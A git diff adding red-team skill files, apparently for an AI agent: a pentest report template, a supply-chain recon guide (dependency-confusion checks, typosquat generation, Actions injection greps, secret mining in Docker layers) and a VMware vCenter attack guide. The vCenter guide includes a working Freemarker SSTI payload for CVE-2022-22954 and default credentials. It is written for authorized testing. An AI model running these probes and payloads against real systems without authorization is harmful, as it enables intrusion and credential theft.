+<Steps to reproduce, numbered. Include the exact HTTP requests, payloads, tools used.>
+
+**Step 1:** <action>
+```http
+<full HTTP request or curl one-liner>
+```
+
+**Step 2:** <action>
+```
+<response excerpt>
+```
+
+**Screenshot:**
+![F##_descriptive_name](screenshots/F##_descriptive_name.png)
+```
+
+---
+
+## Severity & status disciplines
+
+### Severity table (client-facing — different from CVSS-only)
+
+| Severity | Business definition | CVSS rough range |
+|---|---|---|
+| Critical | Direct revenue/data loss without prerequisites | 9.0-10.0 |
+| High | Full account/system takeover with limited prerequisites | 7.0-8.9 |
+| Medium | Significant data exposure or partial compromise | 4.0-6.9 |
+| Low | Information disclosure with limited exploitation path | 0.1-3.9 |
+| Informational | Hygiene finding, no immediate exploit | N/A |
+
+### Status field (red-team-specific)
+
+This is the field that distinguishes red-team deliverables from bug-bounty reports. Use one of:
+
+- **Confirmed** — reproduced multiple times, with full PoC
+- **Confirmed; patched mid-engagement** — was reproducible, client patched during the test window (still ship the finding — see `mid-engagement-ir-detection`)
+- **Confirmed; partially reproducible** — works but needs specific conditions
+- **Suspected (1 signal)** — single indicator, not confirmed (rare — usually drop)
+- **Out-of-band** — finding from passive recon, not actively tested
+
+---
+
+## Mistakes to avoid (from the redacted-client engagement)
+
+### 1. Don't retract findings that stopped reproducing
+If a finding was confirmed and then stopped working, that is almost always a CLIENT PATCH, not a finding-was-false. The correct response is "Confirmed; patched mid-engagement" with timestamps showing when it broke. See `mid-engagement-ir-detection`.
+
+### 2. Don't hedge in the Impact section
+Bad: "An attacker could potentially be able to access user data, which may lead to..."
+Good: "An attacker reads any user's profile data. Demonstrated on test user `[email protected]` at 14:22 IST."
+
+### 3. Don't generic-CIA the impact
+Bad: "Loss of confidentiality and integrity of customer data"
+Good: "Read access to 247,000 customer records including PAN cards, addresses, GST numbers. India DPDPA Section 33 mandates 72-hour breach disclosure to DPB."
+
+### 4. Don't list every recon finding as a finding
+Recon notes (subdomains found, ports open, technologies fingerprinted) belong in a separate **Recon / Attack Surface** appendix, not the findings list. A finding must have an attacker-attainable outcome.
+
+### 5. Don't bury the PoC
+Each finding MUST have reproducible steps. The PoC section is what proves the finding to a skeptical reader. If you can't write the PoC clearly, the finding probably isn't ready to ship.
+
+---
+
+## Document-level structure
+
+```
+1. Executive Summary (1 page, non-technical)
+ - Engagement overview (dates, scope)
+ - Risk posture summary (heat-map: <X critical, Y high, Z medium...>)
+ - Top 3 strategic recommendations
+ - Comparison to industry baseline (optional)
+
+2. Engagement Details
+ - Scope (in-scope, out-of-scope, exclusions)
+ - Methodology (recon → exploit → reporting; or align with PTES / OSSTMM)
+ - Tools used
+ - Timeline (start / end / key milestones)
+ - Team
+
+3. Risk Summary Table
+ | F# | Title | Severity | Status |
+ |----|-------|----------|--------|
+ | F01 | ... | Critical | Confirmed |
+ ...
+
+4. Findings (one per ## section, in severity order — Critical first)
+
+5. Attack Surface / Recon Appendix
+ - Subdomains discovered
+ - Open ports / services
+ - Technology fingerprints
+ - APKs found
+ - Credentials in breach corpora (count + sample only — redact)
+ - Identity-fabric map (IdP, MFA posture)
+
+6. Indicators of Compromise (IoCs)
+ - Source IPs used during testing (so SOC can correlate)
+ - User-Agent strings
+ - Test accounts created
+ - Files uploaded (with cleanup status)
+
+7. Cleanup Statement
+ - Confirmation that all test artifacts (accounts, uploads, persistence) were removed
+ - Outstanding cleanup items requiring client action
+
+8. Appendices (raw output, screenshots index, full target list)
+```
+
+---
+
+## DOCX generation pipeline (markdown → docx with embedded images)
+
+```bash
+# Prerequisite: pandoc installed
+brew install pandoc
+
+# Convert
+pandoc REPORT_FINAL.md \
+ -o REPORT_FINAL.docx \
+ --resource-path=engagement_log/poc \
+ --reference-doc=~/.claude/skills/redteam-report-template/templates/reference.docx \
+ --toc \
+ --toc-depth=2 \
+ --highlight-style=tango
+
+# Verify image count
+python3 -c "
+from docx import Document
+d = Document('REPORT_FINAL.docx')
+imgs = [r for r in d.part.rels.values() if 'image' in r.target_ref]
+print(f'Embedded images: {len(imgs)}')
+print(f'Paragraphs: {len(d.paragraphs)}')
+print(f'Headings: {sum(1 for p in d.paragraphs if p.style.name.startswith(\"Heading\"))}')
+"
+```
+
+### Image filename convention
+
+```
+screenshots/F<NN>_<descriptive>.png
+
+Examples:
+F01_locked_accounts.png
+F02a_saml_landing.png
+F02b_saml_ca_block_page.png
+F03_sqli_timing_chart.png
+F15_saml_metadata.png
+```
+
+Variants get letter suffixes (F02a, F02b). Always zero-pad finding number.
+
+---
+
+## Writing tone — for client deliverables
+
+| Section | Tone |
+|---|---|
+| Subject | Plain English, jargon-free, 1 line |
+| Observations | Bulleted facts, past tense ("observed that...") |
+| Description | Technical but accessible; assume CISO reader |
+| Impact | Business-translated; tie to revenue/regulation |
+| Recommendation | Imperative, specific, actionable |
+| PoC | Operator-level technical; copy-pasteable |
+
+**Always:**
+- Use past tense for observations ("The endpoint returned a 200 status code")
+- Use present tense for descriptions of the flaw ("The application does not validate...")
+- Use imperative for recommendations ("Apply patch ... by ...")
+- Number reproduction steps; never "first... then... also..."
+
+**Never:**
+- "Could potentially" — prove it or drop it
+- "It might be possible" — same
+- "We recommend implementing security best practices" — say which one specifically
+- "The application is vulnerable to..." without saying what specifically
+
+---
+
+## Audience translation — same finding, different framing
+
+Example: hardcoded JWT in APK
+
+| Section | Technical framing | CISO framing | Board framing |
+|---|---|---|---|
+| Impact | "JWT signing key extracted from APK enables forging admin tokens" | "Anyone with the redacted-brand2 mobile app can read any customer's invoice" | "A leaked secret in our mobile app lets attackers impersonate users" |
+
+The same finding's Impact paragraph should cover both ends — start with the business outcome, then drop into technical detail.
+
+---
+
+## Findings that are sometimes wrongly excluded
+
+Red-team deliverables should include — not just bug-bounty payable bugs:
+
+- **Information disclosure that helps attack mapping** (CodeIgniter debug toolbar leaking routes, version banners on appliances) — Medium
+- **User enumeration** (Microsoft OneDrive 302 vs 404 differential) — Medium
+- **Pre-existing security state observations** (247 accounts already locked by external attacker; weak password policies) — Informational with stakeholder relevance
+- **Defensive observations** (SOC patched our SQLi within 30 min — evidence of working detection) — Informational/positive
+- **Sister-app pattern issues** (same code template across 7 apps) — Medium (multiplied blast radius)
+
+Bug bounty would reject most of these. Red-team deliverables embrace them — the client paid for the assessment to know.
+
+---
+
+## Mid-engagement events to document
+
+Beyond findings themselves, the deliverable should include:
+
+- Detected SOC responses (timestamps when defenses kicked in)
+- Concurrent external attacker activity (if any was observed)
+- Findings the client patched during the engagement (with PoC pre-patch as evidence)
+- Tooling failures (e.g., MCP timeout, CAPTCHA not solvable) — these affect what was/wasn't testable
+
+Each gives the client context about their real-world detection capability, which often matters more than the findings themselves.
+
+---
+
+## Template library (where to put canned text)
+
+Maintain reusable boilerplate in:
+```
+~/.claude/skills/redteam-report-template/templates/
+ executive_summary.md # Reusable exec summary skeleton
+ methodology.md # Standard methodology section
+ cleanup_statement.md # Standard cleanup language
+ reference.docx # Pandoc style template (fonts, headings, colors)
+ cover.docx # Cover page template
+```
+
+Don't write these from scratch each engagement; clone and customize.
+
+---
+
+## Quality checks before delivery
+
+Pre-delivery checklist:
+
+- [ ] Every finding has all 6 sections populated (no "TBD")
+- [ ] Every finding has at least one screenshot or HTTP-level evidence
+- [ ] Every PoC includes redactions for client PII (mask emails, phone numbers, IDs)
+- [ ] Every screenshot is referenced in the MD with a relative path that resolves
+- [ ] DOCX render check — image count matches MD reference count
+- [ ] Severity ordering: Critical findings first, then High, etc.
+- [ ] Executive summary is updated to match final findings (count, themes)
+- [ ] Cleanup statement explicitly says what was created and what was removed
+- [ ] IoC section enables the SOC to reconstruct what they saw
+- [ ] Spell-check (especially client company name, product names)
+- [ ] All tool versions noted in methodology
+- [ ] Status field set correctly on every finding (especially patched-mid-engagement)
+
+---
+
+## Bridge to neighboring skills
+
+- `report-writing` — bug-bounty platform reports (different format, different audience)
+- `redteam-mindset` — informs what counts as a finding worth shipping
+- `mid-engagement-ir-detection` — informs the "patched mid-engagement" status pattern
+- `evidence-hygiene` — informs screenshot redaction discipline
+- `m365-entra-attack`, `enterprise-vpn-attack`, etc. — each provides finding-templates specific to its attack surface
+
+---
+
+## Anti-patterns
+
+- **DO NOT** write a 50-page report for 3 findings — pad-by-page erodes credibility
+- **DO NOT** use the same severity for everything — calibrate
+- **DO NOT** copy-paste OWASP top-10 boilerplate into Description sections
+- **DO NOT** include findings without PoCs — they read as speculative
+- **DO NOT** skip the Recommendation section's specificity — "patch and review" doesn't help
+- **DO NOT** mix bug-bounty CVSS scoring with red-team severity unthinkingly — context differs (e.g., a Medium on a CVSS basis can be Critical for the client if it touches a regulated dataset)
+
+---
+
+## Real engagement metric (redacted-client, May 2026)
+
+For calibration:
+- 14 findings shipped (2 Critical, 4 High, 5 Medium, 3 Low/Info)
+- 18 screenshots embedded
+- 52,737 bytes markdown / 2,262,484 bytes DOCX
+- 414 paragraphs, 123 headings in DOCX
+- 16 inline images (2 were inline in MD-only edge cases)
+- Time-to-deliverable: ~6 hours after engagement close for first draft
+
+These numbers are typical for a 1-week external red-team engagement on a mid-size enterprise. Scale down for short tests, up for full purple-team exercises.
diff --git a/skills/supply-chain-attack-recon/SKILL.md b/skills/supply-chain-attack-recon/SKILL.md
new file mode 100644
index 0000000..8758bb2
--- /dev/null
+++ b/skills/supply-chain-attack-recon/SKILL.md
@@ -0,0 +1,385 @@
+---
+name: supply-chain-attack-recon
+description: External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI/CD configuration exposure. Reconnaissance and identification ONLY — actual package publishing / typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm/PyPI ecosystem. Use when the target has a public GitHub org, when their build artifacts/SBOMs are reachable, when their docker images are on Docker Hub/GHCR, or when you find internal package names in their JS bundles.
+sources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security
+report_count: 0
+---
+
+## When to use
+
+Trigger when:
+- Target has a public GitHub organization (find via OSINT)
+- JS bundles reference internal-looking package names (`@target-internal/...`, `target-utils`, `target-shared`)
+- Build logs, SBOMs, or `package-lock.json` files are publicly accessible
+- Target uses CI/CD that's partially public (GitHub Actions, GitLab CI, Bitrise)
+- Docker images on Docker Hub/GHCR/Quay belong to target org
+- Findings include `npmrc`/`pip.conf`/`gradle.properties` with internal registry URLs
+- `.github/workflows/*.yml` files reference internal tooling
+
+Do NOT use for:
+- Internal-network artifact registries (out of scope per external boundary)
+- Actually publishing typosquats / dep-confusion packages without explicit OK
+- Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)
+
+---
+
+## The supply-chain attack surface map
+
+```
+Target Org
+├── Public GitHub Org → workflow files → secrets exfil opportunities
+├── Internal package names in JS/Android bundles → dependency confusion
+├── Docker images on public registries → secrets in layers, RCE on pull
+├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
+├── npmrc / pip.conf in repos → internal registry URL disclosure
+├── External package dependencies → typosquat name candidates
+└── Build/release pipelines → injection if pull_request_target etc.
+```
+
+---
+
+## Step 1 — GitHub org discovery
+
+```bash
+TARGET="redacted-client" # or target brand
+
+# Direct guesses
+for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
+ curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
+done
+
+# Via WHOIS / email-domain → GitHub search
+gh search users --owner-affiliations=organization --query "$TARGET" --limit 10
+
+# Via employees → reverse from social media + GitHub profile
+# Many employees list their employer org on their GitHub profile
+```
+
+---
+
+## Step 2 — Enumerate public repos for sensitive artifacts
+
+```bash
+ORG="targetorg"
+
+# List public repos
+gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef
+
+# Look for high-signal repo names
+gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"
+
+# Clone all (small org) or selectively
+gh repo clone "$ORG/$repo_name"
+```
+
+---
+
+## Step 3 — Internal package-name discovery
+
+### From JS bundles
+
+```bash
+# JS bundles are the easiest source of internal npm names
+curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
+curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u
+
+# Look for scoped names that are NOT public on npm
+for pkg in @target/utils @target-internal/api @companybrand/sdk; do
+ status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
+ echo " $pkg → $status"
+ # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
+done
+```
+
+### From GitHub repo package.json files
+
+```bash
+# Public repos with package.json that reference internal scopes
+for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
+ pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
+ echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
+done | sort -u
+```
+
+### From Python projects
+
+```bash
+# Internal pip package names
+for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
+ gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
+done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'
+```
+
+---
+
+## Step 4 — Dependency-confusion vulnerability check
+
+For each internal-looking package name discovered:
+
+```bash
+NAME="@target-internal/utils" # example
+
+# npm check
+curl -sI "https://registry.npmjs.org/$NAME" | head -1
+# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE
+
+# pypi check (no scopes, just name)
+NAME="target_utils"
+curl -sI "https://pypi.org/project/$NAME/" | head -1
+# 404 → name is registerable
+
+# rubygems
+curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1
+
+# Go modules — slightly different, since module names are URLs
+# Check if module path is reachable
+curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1
+```
+
+**Severity calibration:** Just because a name is unclaimed doesn't mean it's exploitable. You also need:
+1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)
+2. OR evidence the target's package manager is configured insecurely (e.g., `.npmrc` without `@scope:registry=` mapping)
+3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)
+
+A 404 on registry without supporting context is INFORMATIONAL only.
+
+---
+
+## Step 5 — Typosquat candidates (around external dependencies)
+
+For each external public dependency the target uses:
+
+```bash
+# Common typosquat patterns:
+# Original: "react-router-dom"
+# Typos:
+# "react-router-doms" (extra s)
+# "react-routter-dom" (double t)
+# "react-rotuer-dom" (transposed)
+# "react--router-dom" (double dash)
+# "react-router-dorn" (m→rn)
+# "reactrouterdom" (no dashes)
+
+# Generate candidates
+python3 -c "
+import sys
+name='react-router-dom'
+for i in range(len(name)):
+ print(name[:i] + name[i+1:]) # delete
+ if i < len(name)-1:
+ print(name[:i] + name[i+1] + name[i] + name[i+2:]) # transpose
+"
+
+# Check which candidates are UNCLAIMED on the registry
+for candidate in ...; do
+ status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
+ [ "$status" = "404" ] && echo " UNCLAIMED: $candidate"
+done
+```
+
+**⚠ EXTERNAL-OFFENSIVE NOTE:** publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.
+
+---
+
+## Step 6 — GitHub Actions workflow injection scan
+
+For each public repo with `.github/workflows/`:
+
+```bash
+for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
+ workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
+ for wf in $workflows; do
+ content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
+ echo "=== $repo/$wf ==="
+
+ # High-risk patterns:
+ # 1. pull_request_target (runs with secrets on PR from forks)
+ echo "$content" | grep -E 'pull_request_target'
+
+ # 2. Untrusted context interpolation
+ echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
+
+ # 3. ${{ github.event.* }} into shell run blocks
+ echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
+
+ # 4. checkout of PR head with elevated perms
+ echo "$content" | grep -E 'ref:.*pull_request|head_ref'
+
+ # 5. Self-hosted runner without isolation
+ echo "$content" | grep -E 'runs-on:.*self-hosted'
+ done
+done
+```
+
+### Injection patterns to flag (severity guide)
+
+| Pattern | Severity |
+|---|---|
+| `pull_request_target` + `actions/checkout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |
+| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |
+| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |
+| Issue-comment-triggered workflow that runs `gh` with token | **High** |
+| Workflow downloads from URL that target controls | **Medium** |
+
+---
+
+## Step 7 — Docker / container image registry mining
+
+```bash
+# Docker Hub
+curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'
+
+# GHCR (GitHub Container Registry) — public images visible in repo packages tab
+gh api "users/$ORG/packages?package_type=container" 2>/dev/null
+gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null
+
+# For each image, list tags
+for img in image1 image2; do
+ curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
+done
+
+# Pull and inspect layers
+docker pull "$ORG/$img:latest"
+docker history --no-trunc "$ORG/$img:latest"
+
+# Mine layers for secrets
+docker save "$ORG/$img:latest" -o /tmp/image.tar
+mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
+find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
+# Then run gitleaks / trufflehog over extracted filesystem
+trufflehog filesystem /tmp/img/extracted --no-update
+```
+
+---
+
+## Step 8 — SBOM / artifact metadata leakage
+
+```bash
+# Look for SBOMs published as releases (SPDX, CycloneDX format)
+gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'
+
+# JSON dependency lockfiles in releases
+gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'
+
+# Exact-version-pinned deps → known-CVE chaining
+# Compare versions to nuclei nvd templates or osv.dev for known vulns
+curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'
+```
+
+---
+
+## Step 9 — Internal registry URL leakage
+
+```bash
+# .npmrc patterns
+grep -r "registry=" . # in cloned repos
+grep -r "_authToken=" . # leaked npm token!
+grep -r "@.*registry=" . # scoped registry
+
+# pip config
+grep -r "extra-index-url" .
+grep -r "index-url" .
+
+# Gradle / Maven
+grep -rE "(mavenCentral|maven\s*\{)" .
+grep -r "url.*\(.*nexus" .
+
+# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable
+```
+
+---
+
+## Step 10 — npm/PyPI organizational presence
+
+```bash
+# Some orgs maintain a public npm scope mirroring their brand
+curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'
+
+# Public PyPI presence
+curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20
+
+# Check if scope is taken — if it's NOT, an attacker could register
+# (relevant for any internal package using that scope)
+curl -sI "https://registry.npmjs.org/-/org/$ORG"
+```
+
+---
+
+## Tooling
+
+| Tool | Purpose |
+|---|---|
+| **`trufflehog`** | Filesystem/git/docker secret scan |
+| **`gitleaks`** | Git history secret scan |
+| **`dependency-confusion`** (Confused) | npm scope/PyPI checks |
+| **`packj`** | Package risk score (PyPI/npm/RubyGems) |
+| **`Lift / Snyk vuln-db`** | Known CVE lookup by package version |
+| **`actionlint`** | GitHub Actions static analyzer |
+| **`OSSGadget`** | Microsoft's package metadata toolkit |
+| **`semgrep`** + supply-chain rules | Workflow injection detection |
+| **`osv-scanner`** | Match versions to known vulns |
+
+---
+
+## Severity scoring guidance
+
+| Finding | Severity |
+|---|---|
+| Internal package name + no scope-mapping + unclaimed on public npm + actively in builds | **Critical** — Dep-confusion RCE |
+| Internal package name + scope-mapping in `.npmrc` but `_authToken` leaked | **Critical** — direct registry push |
+| Pull_request_target workflow + secrets exposed + PR-controlled code execution | **Critical** — Org-wide token theft |
+| Docker image with leaked secret in layer | **High** (varies by secret) |
+| Internal registry URL disclosed (but no creds) | **Low** — Info-disc only |
+| Typosquat candidate identified (not published) | **Informational** — Awareness item |
+| Public org has 1000+ unused names that COULD be claimed | **Informational** — Hygiene |
+
+---
+
+## Anti-patterns
+
+- **DO NOT publish a typosquat / dep-confusion package without explicit, signed, scope-clarified authorization** — this affects users outside the engagement
+- **DO NOT submit PRs to client repos as part of testing without specific OK** — workflow injection PoCs may be needed but they touch CI/CD and other developers
+- **DO NOT scrape entire npm/PyPI for typosquat candidates** — irresponsible and noisy
+- **DO NOT confuse "name is unclaimed" with "exploitable dependency confusion"** — the build system matters; many orgs use proper scope-mapping that prevents the attack
+- **DO NOT touch GitHub Actions self-hosted runners** — they may be inside the client network and outside the external scope
+- **DO NOT pull large Docker images blindly** — image bandwidth can be 5-50GB; review tags first
+
+---
+
+## What constitutes a deliverable finding
+
+A supply-chain finding needs ALL of:
+1. **Concrete name/path** — exact internal package name, exact workflow file path, exact image tag
+2. **Vulnerability mechanism** — dep-confusion / typosquat / injection / etc.
+3. **Exploitability evidence** — proof the build/install would actually use the attacker's payload (not just "name is unclaimed")
+4. **Severity** — calibrated to blast radius (one developer? all developers? all users of the package?)
+5. **Recommendation** — specific (e.g., "register the unused name @target-internal/utils on npm AS YOUR OWN even if unused; configure `.npmrc` scope:registry mapping")
+
+---
+
+## Bridge to neighboring skills
+
+- `apk-redteam-pipeline` — APKs reveal internal package names too (find them in decompiled `build.gradle`)
+- `cloud-iam-deep` — CI/CD secrets often = cloud credentials; this skill finds them, that skill validates them
+- `hunt-cloud-misconfig` — CI/CD pipeline misconfig (Jenkins / GitLab Runner) overlap
+- `m365-entra-attack` — Azure DevOps pipelines are part of Entra surface
+- `redteam-report-template` — supply-chain findings need extra clarity on blast radius (one repo vs whole ecosystem)
+- `mid-engagement-ir-detection` — registering a name on public npm triggers nothing inside the client, but ANY publish action is loud and audit-trailed
+
+---
+
+## External-only boundary check
+
+This skill is squarely external — all targets are public registries / public GitHub. If the engagement involves the client's internal artifact registry (internal Nexus, JFrog, Sonatype), that is internal infrastructure and OUT OF SCOPE per `feedback_skill_boundaries`. Report internal-registry URL exposure as a finding; do not attempt to enumerate it.
+
+---
+
+## Real-world references
+
+- **Alex Birsan 2021** — Original dependency-confusion research, $130K+ in bounties from Apple/Microsoft/PayPal/Yelp/etc.
+- **ua-parser-js 2021** — npm package compromise via stolen maintainer credentials
+- **node-ipc 2022** — Maintainer-introduced supply-chain malicious update
+- **3CX 2023** — Cascading supply-chain attack via X_TRADER → 3CX → customers
+- **XZ Utils 2024** — Multi-year social-engineering supply-chain attack on upstream OSS
+
+Each of these is worth reading for what made the attack effective and what red flags existed earlier.
diff --git a/skills/vmware-vcenter-attack/SKILL.md b/skills/vmware-vcenter-attack/SKILL.md
new file mode 100644
index 0000000..77d3318
--- /dev/null
+++ b/skills/vmware-vcenter-attack/SKILL.md
@@ -0,0 +1,257 @@
+---
+name: vmware-vcenter-attack
+description: VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2024-22273 Aria SSRF), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.
+sources: vmware-security-advisories, public-cve-databases, redteam-knowledge
+report_count: 0
+---
+
+## When to use
+
+Trigger when external recon shows ANY of:
+- Banner: "VMware vCenter Server", "VMware vSphere Client"
+- URL paths: `/ui`, `/ui/login`, `/websso/SAML2/Metadata`, `/sdk`, `/mob` (Managed Object Browser)
+- TLS cert SAN includes `vcenter` / `vsphere` / `vcsa` / `psc` / `vmware`
+- Workspace ONE Access / Identity Manager: `/SAAS`, `/SAAS/auth`, `/SAAS/login`, `/SAAS/horizon`
+- VMware Aria / vRealize: `/vco`, `/vco-controlcenter`, `/orchestrator`, `/lcm/api/v1`
+- Horizon View: `/portal`, `/admin`
+
+Do NOT use for:
+- Internal-network vCenter (out of scope — external boundary discipline)
+- Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)
+
+---
+
+## Step 1 — Version fingerprinting
+
+```bash
+TARGET="vcenter.target.com"
+
+# Build info endpoint (often public; revealing exact patch level)
+curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"
+
+# UI build (visible in page source)
+curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
+curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'
+
+# REST API version (vSphere 7+)
+curl -sk "https://$TARGET/api/appliance/system/version"
+
+# Cert metadata
+echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
+
+# SSO Admin Service (info disclosure)
+curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
+curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"
+```
+
+Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).
+
+---
+
+## Step 2 — CVE matrix (external-exploitable, sorted by historical impact)
+
+| CVE | Affected | Vector | Status |
+|---|---|---|---|
+| **CVE-2024-37085** | ESXi 7.0/8.0 < specific patch | AD group "ESX Admins" auto-admin bypass | High — Domain takeover→ESXi RCE, exploited in ransomware ops |
+| **CVE-2024-22273** | Aria Operations | Pre-auth SSRF | Medium |
+| **CVE-2024-22252/53** | Workstation/Fusion (not vCenter) | Sandbox escape | Not external |
+| **CVE-2023-34048** | vCenter 7/8 < specific build | DCE/RPC pre-auth heap OOB write → RCE | Critical, patched 2023-10 |
+| **CVE-2023-20887** | Aria Operations for Networks | Pre-auth command injection → RCE | Critical |
+| **CVE-2023-20892** | vCenter 7/8 | Use-after-free in DCE/RPC | High |
+| **CVE-2022-31656/31659** | Workspace ONE Access 21.x | Pre-auth SSRF + auth bypass | Critical chained |
+| **CVE-2022-22954** | Workspace ONE Access | Pre-auth server-side template injection (SSTI) → RCE | Critical, widely exploited |
+| **CVE-2021-22005** | vCenter 6.7/7.0 < build | Analytics service pre-auth file upload → RCE | Critical |
+| **CVE-2021-21985** | vCenter 6.5/6.7/7.0 < build | vSAN Health Check plugin pre-auth RCE | Critical |
+| **CVE-2021-21972** | vCenter 6.5/6.7/7.0 < build | vRealize plugin `/ui/vropspluginui/rest/services/uploadova` pre-auth file upload → RCE | Critical, exploited heavily |
+| **CVE-2020-3992** | ESXi OpenSLP | Pre-auth use-after-free → RCE | Critical, ESXi ransomware vector |
+| **CVE-2019-5544** | ESXi OpenSLP | Pre-auth heap overflow | Critical |
+
+---
+
+## Step 3 — CVE-2021-21972 probe (still common on stale appliances)
+
+```bash
+# Detection only — DO NOT execute the file upload without explicit scope OK
+curl -sk -o /dev/null -w "%{http_code}\n" \
+ "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
+# 405 → endpoint exists, version vulnerable
+# 404 → patched (endpoint removed)
+# 401 → patched (auth required)
+
+curl -sk -o /dev/null -w "%{http_code}\n" \
+ "https://$TARGET/ui/vropspluginui/rest/services/getstatus"
+```
+
+Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.
+
+---
+
+## Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe
+
+```bash
+# Workspace ONE Access vulnerable endpoint
+curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"id\")}"
+# Look for "uid=" in response → confirmed RCE (Freemarker)
+```
+
+If page reflects template error / executes command → critical. Stop and report.
+
+---
+
+## Step 5 — Default credentials (frequently still valid on lab/staging vCenters)
+
+| Product | Default user | Default password |
+|---|---|---|
+| vCenter 6.x | `[email protected]` | `<set-during-install>` |
+| vCenter Appliance root | `root` | `vmware` (legacy) or `<set>` |
+| ESXi root | `root` | `<blank>` or `vmware` |
+| vCenter Server Appliance Mgmt (5480) | `root` | `<set-during-install>` |
+| Aria Operations | `admin` | `vmware` (legacy) |
+| Workspace ONE | `admin` | `<set>` |
+
+⚠ **Do not spray vCenter — `[email protected]` has VERY low lockout threshold** (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.
+
+---
+
+## Step 6 — SSO / vmdir LDAP enumeration
+
+```bash
+# SSO Admin endpoint (frequently exposes domain info)
+curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -
+
+# Extract Identity Source info
+curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
+
+# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
+ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
+ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"
+```
+
+---
+
